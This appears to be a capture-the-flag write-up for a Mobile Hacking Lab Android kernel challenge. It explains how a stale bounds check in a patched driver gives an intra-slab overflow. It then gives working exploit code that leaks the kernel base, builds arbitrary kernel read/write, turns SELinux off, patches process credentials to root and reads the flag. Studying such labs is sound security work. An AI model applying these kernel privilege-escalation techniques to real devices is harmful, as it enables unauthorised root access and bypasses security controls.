Introduction
This is the second challenge in the Vector series from Mobile Hacking Lab, and it is best read after the first one. That one was a one-line use-after-free turned into arbitrary physical read/write with Dirty Pagetable. This one, faulty-vector, ships as a patch of the same driver, and the whole challenge lives in the diff. The use-after-free is fixed. In its place the author refactored the object, grew its header, and left a bounds check calibrated for the old layout. That single oversight is a two-qword out-of-bounds write that lands exactly on the first two fields of the neighbouring object in the same slab.
The exploit that follows is data-only. There is no cross-cache, no page-table spray, no Dirty Pagetable, and no TLB flushing. The out-of-bounds read hands over the kernel base (defeating KASLR, which the first challenge’s debug image had turned off but which is live here, the same as on the real device), and the out-of-bounds write hands over a pointer that the driver itself dereferences on every ioctl. That is all it takes to build a 64-bit arbitrary read/write. The rest is bookkeeping: one byte to turn SELinux off, a linked-list walk to become root, and one last trap on the flag file that is worth the diagram it gets.
Every constant below comes from the challenge’s own vmlinux (6.6.46crlm, with DWARF), every offset from pahole on the same binary, and every runtime value from a real run: first under QEMU, then on the Corellium device over adb.
The target build
The kernel is 6.6.46crlm, arm64, 4 KB pages, 39-bit virtual addresses, three translation levels: the same base image as the first challenge. The two debug builds differ in exactly one config, and it is the one that shapes the exploit:
| Property | chall #1 vector |
chall #2 faulty-vector |
Why it matters |
|---|---|---|---|
CONFIG_RANDOMIZE_BASE |
not set | set | vector’s debug image had KASLR off (and nokaslr on the cmdline), so that solve could hard-code _text. This image randomises the base every boot, so the exploit has to leak it. |
CONFIG_SLAB_FREELIST_RANDOM |
set | set | Object order inside a slab page is unpredictable. Adjacency must be detected, not assumed. |
CONFIG_SLAB_FREELIST_HARDENED |
set | set | kmem_cache_free validates cache membership, which bounds the “arbitrary free” angle (see dead ends). |
CONFIG_SECURITY_SELINUX_DEVELOP |
set | set | selinux_state.enforcing is a writable runtime byte. |
CONFIG_STATIC_USERMODEHELPER |
set | set | modprobe_path is a dead end, as before. |
| kernel CFI / BTI / PAC | off | off | An indirect-call primitive would be usable, but as we’ll see it is never needed. |
KASLR is not new to this target. vector’s production kernel already set CONFIG_RANDOMIZE_BASE, and the real Corellium device randomises the base every boot. Only vector’s debug image shipped with it off, which is why the first writeup could hard-code _text. This debug image stops hiding it, so the base has to be leaked. The driver change makes that leak available, and the config makes it necessary.
The driver is built into vmlinux (not a module), so any leaked driver pointer yields _text directly. The anchors used below, from nm on the challenge binary:
_text _text + 0x0
vector_free_callback _text + 0x6c6720
linux_banner _text + 0x13691e0
selinux_state _text + 0x1b22fa0
init_task _text + 0x1916b40
The diff is the challenge
We came into this one already holding a working exploit for vector: the use-after-free, the cross-cache, Dirty Pagetable, SELinux off, cred patched, flag read. So the method wasn’t to stare at the driver. It was to diff the two drivers, understand every hunk, and port the old exploit, changing only what the diff forces us to change. The challenge ships the diff for you. Here it is in full, trimmed to the lines that matter:
--- vector/.../vector.c
+++ faulty-vector/.../faulty-vector.c
@@ ioctl command numbers @@
-#define DESTROY_VECTOR 0x1337004
+#define HANDLE_VECTOR 0x1337004
+#define DESTROY_VECTOR 0x1337005
@@ struct vector_t @@
typedef struct {
- void (*destructor)(void*);
+ uint64_t* vecp;
+ void (*destructor)(uint64_t*);
+ void (*handle)(uint64_t*);
uint64_t inuse;
- uint64_t vec[(MAX_VEC_SZ-0x10)/sizeof(uint64_t)];
+ uint64_t vec[(MAX_VEC_SZ-0x20)/sizeof(uint64_t)];
} vector_t;
@@ vector_free_callback @@
-static void vector_free_callback(void* v) {
- if (v)
- kmem_cache_free(vecache_cache, v);
+static void vector_free_callback(uint64_t* v) {
+ if (v) {
+ kmem_cache_free(vecache_cache, (void*)(((char*)v)-0x20));
+ }
}
@@ ALLOCATE error path @@
if (copy_from_user(&vecs[fdx]->vec, ...)) {
kmem_cache_free(vecache_cache, vecs[fdx]);
+ vecs[fdx] = 0;
goto unlock_leave;
}
vecs[fdx]->inuse = 1;
vecs[fdx]->destructor = vector_free_callback;
+ vecs[fdx]->vecp = (uint64_t*)&vecs[fdx]->vec;
@@ UPDATE @@
- vecs[fdx]->vec[vecarg.idx] = vecarg.vecv;
+ vecs[fdx]->vecp[vecarg.idx] = vecarg.vecv;
@@ GET @@
- ret = vecs[fdx]->vec[vecarg.idx];
+ if (copy_to_user(&((vecarg_t*)_arg)->vecv, &vecs[fdx]->vecp[vecarg.idx], 8))
+ ret = -2;
@@ DESTROY @@
- vecs[fdx]->destructor(vecs[fdx]);
+ vecs[fdx]->destructor(vecs[fdx]->vecp);
Reading the hunks in order, this is the story they tell:
The bug we had is gone. The ALLOCATE error path now does vecs[fdx] = 0; after the free. No more dangling slot, no more use-after-free. Our old primitive is dead, and the port needs a new entry.
The object grew a header, from 0x10 to 0x20. Two new fields in front: a self-pointer vecp at 0x00 and an unused handle at 0x10. destructor moved to 0x08, inuse to 0x18. The struct is still 0x100 total, so vec[] had to give back two qwords: (MAX_VEC_SZ-0x20)/8 == 28 instead of (MAX_VEC_SZ-0x10)/8 == 30.
Accesses were rerouted through vecp. UPDATE and GET now index vecp[idx] instead of vec[idx], and vector_free_callback reconstructs the object as vecp - 0x20. GET also switched to copy_to_user of a full 8 bytes. The old version returned a 32-bit-truncated value, useless for a pointer. Someone wants us to be able to leak a 64-bit address. (With KASLR live in this image, someone needs us to.)
HANDLE_VECTOR is a new, empty ioctl, and DESTROY shifted to 0x1337005. The handle field is never written. It’s a distractor, or maybe a hook for challenge #3.
The thing the diff doesn’t touch is the bounds check. It still reads, verbatim from the first challenge:
if (vecarg.idx < 0 || vecarg.idx >= (MAX_VEC_SZ - 0x10) / sizeof(uint64_t))
goto unlock_leave; /* bound == 30, for the OLD header */
(0x100 - 0x10) / 8 == 30, but vec[] now holds only 28. The check allows idx up to 29; the array ends at 27. The compiled check confirms the stale constant: a plain cmp x1, #0x1d (29) then b.hi:
ffffffc0806c6918: cmp x1, #0x1d ; idx <= 29 ?
ffffffc0806c691c: b.hi ... ; reject if above
So the author grew the header but kept the old bound. idx = 28 and idx = 29 are accepted but reach two qwords past the end of vec[], into the next object in the slab. That is the whole bug, and it falls straight out of reading the diff.
From here the port writes itself. We keep the spray, the SELinux byte, the task-list walk and the flag read from the first exploit; we throw away the UAF trigger, the cross-cache and the whole Dirty Pagetable machine; and we replace them with the two things the diff just handed us: an out-of-bounds read of the neighbour’s destructor (the KASLR leak) and an out-of-bounds write of the neighbour’s vecp (the arbitrary read/write). The next sections are each one of those replacements.
vec versus vecp
Change #3 looks cosmetic. vecp is initialised to &self->vec at allocation, so vecp[idx] and vec[idx] resolve to the same address while nobody touches vecp. That’s why the diff reads as harmless. But the two forms compile to very different things.
vec[idx] is a field: the compiler bakes the 0x20 offset into the instruction, and the base is computed mechanically from the object address. There is nothing in that computation to corrupt.
vecp[idx] has to read the pointer from memory first, then index from whatever it read. The base of every access is now a value living inside the object, and it sits at offset 0x00, which is exactly the first qword the overflow can reach on the neighbour. The same is true of the free path:
static void vector_free_callback(uint64_t* v) {
kmem_cache_free(vecache_cache, (void*)(((char*)v) - 0x20));
}
...
vecs[fdx]->destructor(vecs[fdx]->vecp); /* DESTROY passes vecp, not the object */
The destructor no longer receives the object; it receives vecp and reconstructs the base as vecp - 0x20. The refactor turned the object’s base pointer into mutable data, and the stale bound is what lets us mutate a neighbour’s copy of it.
The bug: a 16-byte overflow onto the neighbour
The objects live in a dedicated cache, vecache, created with kmem_cache_create("vecache", 0x100, 0, SLAB_NO_MERGE, NULL): 0x100 bytes each, 16 per 4 KB slab page, never merged with any other cache. With idx 28 and 29 we write (and read) 16 bytes past the end of one object, straight onto the first two fields of the next one.
Those two neighbour fields are precisely the ones the driver dereferences on every ioctl:
neighbour + 0x00 vecp read -> B's own linear-map address
write -> arbitrary base for B's GET/UPDATE and free
neighbour + 0x08 destructor read -> &vector_free_callback (kernel base)
So the same 16-byte window is both a leak (reading the neighbour’s destructor and vecp) and a control primitive (writing the neighbour’s vecp). No cross-cache is required because we never need to reach another object type; everything we want is inside a second vector_t.
This is the SLAKE pattern in its cleanest form: rather than overwrite a function pointer directly, overwrite a data pointer that is later dereferenced through attacker-controlled memory. It stays data-only, so KASLR aside, none of the exploit mitigations apply to it.
Finding an adjacent pair
SLAB_FREELIST_RANDOM means allocation order is not address order, so we can’t assume object fdx and fdx+1 are neighbours. We spray and then detect adjacency, using an oracle that costs nothing.
Spray 512 objects, each carrying a per-object marker in its own vec[0]. Then for each object, read idx 29 (the neighbour’s destructor). Every live vector_t has the same destructor == &vector_free_callback, so the correct value is just the modal value across the spray, the one that appears hundreds of times. An object whose idx 29 returns that constant has a real vector_t sitting right after it. Reading idx 28 then gives that neighbour’s vecp, which (before we touch it) equals &neighbour->vec and therefore ends in 0x20.
[+] OOB read idx 29 : vector_free_callback = 0xffffffddd92c6720 (510 objets)
[+] A = fdx 0, voisin B a 0xffffff8003301120 (&B->vec)
Call the overflowing object A and its neighbour B. To learn B’s own slot number, point B.vecp at A’s vec[] (via A’s overflow: UPDATE(A, 28, &A->vec)), then scan the spray for the one slot whose GET(_, 0) now returns A’s marker. That slot is B.
Arbitrary read/write
With A overflowing into B.vecp, the primitive writes itself:
static u64 kread64(u64 addr) {
vector_update(g_A, 28, addr); /* B.vecp = addr */
u64 v; vector_get(g_B, 0, &v); /* *(B.vecp + 0) = *addr */
return v;
}
static void kwrite64(u64 addr, u64 val) {
vector_update(g_A, 28, addr); /* B.vecp = addr */
vector_update(g_B, 0, val); /* *(B.vecp + 0) = val */
}
That is a full 64-bit arbitrary read/write over any kernel virtual address, repeatable at will, serialised by the driver’s own mutex so there is no race to lose. No cross-cache, no page tables, no TLB games. The fragile machinery that the first challenge needed is all gone.
Defeating KASLR
With CONFIG_RANDOMIZE_BASE on, the base moves every boot, so the hard-coded _text the first solve could get away with is useless here. But the leak we already have is the KASLR break: the neighbour’s destructor is &vector_free_callback, at the fixed offset _text + 0x6c6720.
kbase = leak_destr - 0x6c6720;
Because the driver is built into the image, one driver pointer slides the whole kernel. We then confirm the base, and pick the kernel profile (device vs the dev build), by reading linux_banner at _text + 0x13691e0 and checking for "Linux version 6.":
[+] _text = 0xffffffddd8c00000 (KASLR contourne)
[+] preuve AARW, linux_banner lu depuis le noyau :
Linux version 6.6.46crlm (soul@corea) ...
Across boots the base is different every time (0xffffffe0fde00000, 0xffffffe75d800000, 0xffffffdc79400000, and so on), which is the proof the break comes from the leak and not a constant.
Turning SELinux off
selinux_state begins with the writable bool enforcing at offset 0 (CONFIG_SECURITY_SELINUX_DEVELOP=y). Clearing that byte puts SELinux in permissive mode, the same thing setenforce 0 does, except the policy would never let the shell domain do it through the normal interface.
The catch is that our write is 64-bit, and the enforcing byte shares its qword with checkreqprot, initialized and some policycap[] bytes. On the device the qword reads 0x0100000101010101, not a clean 0x01. A naive kwrite64(ss, 0) would zero initialized and corrupt the subsystem. So we read-modify-write only the low byte:
u64 q = kread64(ss);
kwrite64(ss, q & ~0xffULL); /* only the enforcing byte */
[*] qword avant = 0x0100000101010101 (enforcing=1)
[*] qword apres = 0x0100000101010100 (enforcing=0)
[+] /sys/fs/selinux/enforce = 0
Getting root
In the first challenge the task-list walk was unreliable past ~50 tasks, but that was an artifact of reading through forged physical mappings and flushing the TLB repeatedly. Here the read is a straight virtual arbitrary read, so the walk is solid. No cred_jar scan, no kernel-base-free heuristics.
Offsets from pahole on the challenge vmlinux: task_struct.tasks at 1064, .pid at 1264, .cred at 1784; and in struct cred, the eight id fields start at offset 8, the capability sets at 48 to 80.
u64 node = kread64(init_task + 1064); /* init_task.tasks.next */
for (...; node != head; node = kread64(node)) {
u64 task = node - 1064;
if ((int)kread64(task + 1264) == getpid()) {
u64 cred = kread64(task + 1784);
kwrite64(cred + 8, 0); /* uid,gid,suid,sgid */
kwrite64(cred + 16, 0); /* euid,egid,fsuid,fsgid */
kwrite64(cred + 48, ~0ULL); /* cap_inheritable */
kwrite64(cred + 56, ~0ULL); /* cap_permitted */
kwrite64(cred + 64, ~0ULL); /* cap_effective */
kwrite64(cred + 72, ~0ULL); /* cap_bset */
kwrite64(cred + 80, ~0ULL); /* cap_ambient */
break;
}
}
[+] walk : task=0xffffff800317e780 cred=0xffffff80031b03c0 (pid 2491)
[*] cred patche, uid courant = 0
[+] ROOT obtenu (uid=0)
We set the full capability set, not just the uids, and that detail is what makes the flag readable.
The flag is gated by DAC, not SELinux
The flag lives at /data/vendor/secret/flag.txt. With SELinux now permissive and a root uid, you would expect a plain cat to work. It does not, and the way it fails is worth a look. From an external su shell:
root:/# cat /data/vendor/secret/flag.txt
cat: /data/vendor/secret/flag.txt: Permission denied
root:/# ls -la /data/vendor/secret/
d????????? ? ? ? ? ? flag.txt
The d????????? listing is the tell. getenforce reads Permissive, so SELinux is not the barrier. The directory is the barrier:
drw------- root root u:object_r:unlabeled:s0 /data/vendor/secret
Mode 0600, with no execute bit, so no directory traversal. Searching a directory without the execute bit requires CAP_DAC_READ_SEARCH / CAP_DAC_OVERRIDE. An external su shell runs as uid 0 but in a domain whose effective capability set is restricted, so even root is denied, and stat on each entry fails. That is where the question marks come from.
The exploit process, by contrast, patched its own cred with cap_effective = ~0. It has CAP_DAC_OVERRIDE for real. So the read has to happen inside the rooted process, not from a fresh shell: a direct open()/read(), no su, no fork to a third binary:
int ff = open("/data/vendor/secret/flag.txt", O_RDONLY);
read(ff, fb, sizeof(fb) - 1);
[+] ROOT obtenu (uid=0)
[FLAG] /data/vendor/secret/flag.txt : MHC{Petrichor_Sussurate_Defenestration_Syzygy_Melliflous}
uid 0 is not enough; the full capability set is.
Cleanup and re-runnability
The driver’s slot table (vecs[], 1280 entries) is global and survives the process. On a real device, leaked slots pile up and a second run fails at ALLOCATE. So the exploit frees everything on the way out. The one subtlety: B.vecp has been pointed all over the kernel, and DESTROY calls kmem_cache_free(vecache, B.vecp - 0x20). Freeing B with a corrupted vecp would free an arbitrary address. So we first restore B.vecp = &B->vec through A’s overflow, then destroy every slot:
vector_update(g_A, 28, g_B_vecbase); /* B.vecp = &B->vec again */
for (int i = 0; i < g_nslots; i++) vector_destroy(g_slots[i]);
With that in place the exploit is idempotent: two consecutive runs both reallocate from fdx 0 and both land root.
Porting to the device
Everything above was developed against the challenge’s vmlinux under QEMU, then run unchanged on the Corellium device over adb. The device reports the exact same build string as the local binary (#3 SMP PREEMPT Wed Feb 25 14:55:10 IST 2026), so the offsets match with no further reversing. The binary is a static arm64 executable; adb push to /data/local/tmp and run:
etat avant: Enforcing
[+] _text = 0xffffffdeef200000 (KASLR contourne)
[*] qword apres = 0x0100000101010100 (enforcing=0)
[+] /sys/fs/selinux/enforce = 0
[+] ROOT obtenu (uid=0)
[FLAG] /data/vendor/secret/flag.txt : MHC{Petrichor_Sussurate_Defenestration_Syzygy_Melliflous}
getenforce goes Enforcing -> Permissive, root is obtained in-process, and the flag is read, confirmed across repeated runs.
Dead ends and alternatives
The 16-byte window gives three distinct angles. We took the quietest one; the other two are real but strictly worse here.
-
Indirect call via
destructor. OverwritingB.destructor(offset0x08, reachable withidx 29) and callingDESTROY(B)givescall(attacker_ptr)withB.vecpinx0, and with no kCFI/BTI/PAC it is a genuine control-flow primitive. But you control onlyx0, the call runs undervector_mutexand must return cleanly, and it still needs the KASLR leak first. It is never a shortcut: it is the leak plus more fragility. -
Controlled free via
vecp. OverwritingB.vecpand callingDESTROY(B)freesB.vecp - 0x20. ButCONFIG_SLAB_FREELIST_HARDENEDrouteskmem_cache_freethroughcache_from_obj, which does avirt_to_cacheand compares against the expected cache: a non-slab pointer is dropped, a wrong-cache pointer warns (fatal underpanic_on_warn). So it is “free an existing slab object”, not an arbitrary free, and there is no reason to want it once the AARW exists. -
The old Dirty Pagetable path. You could cross-cache this into a page-table reclaim as in the first challenge. It would work and it would be far more code. The adjacent-object read/write is simpler, needs no page grooming, and tolerates
SLAB_FREELIST_RANDOMwith a cheap adjacency oracle.
The whole exploit is one primitive, a 16-byte intra-slab overwrite onto a pointer the driver re-reads every call, used once to leak and once to control. The patch that “fixed” the use-after-free opened a cleaner bug than the one it closed.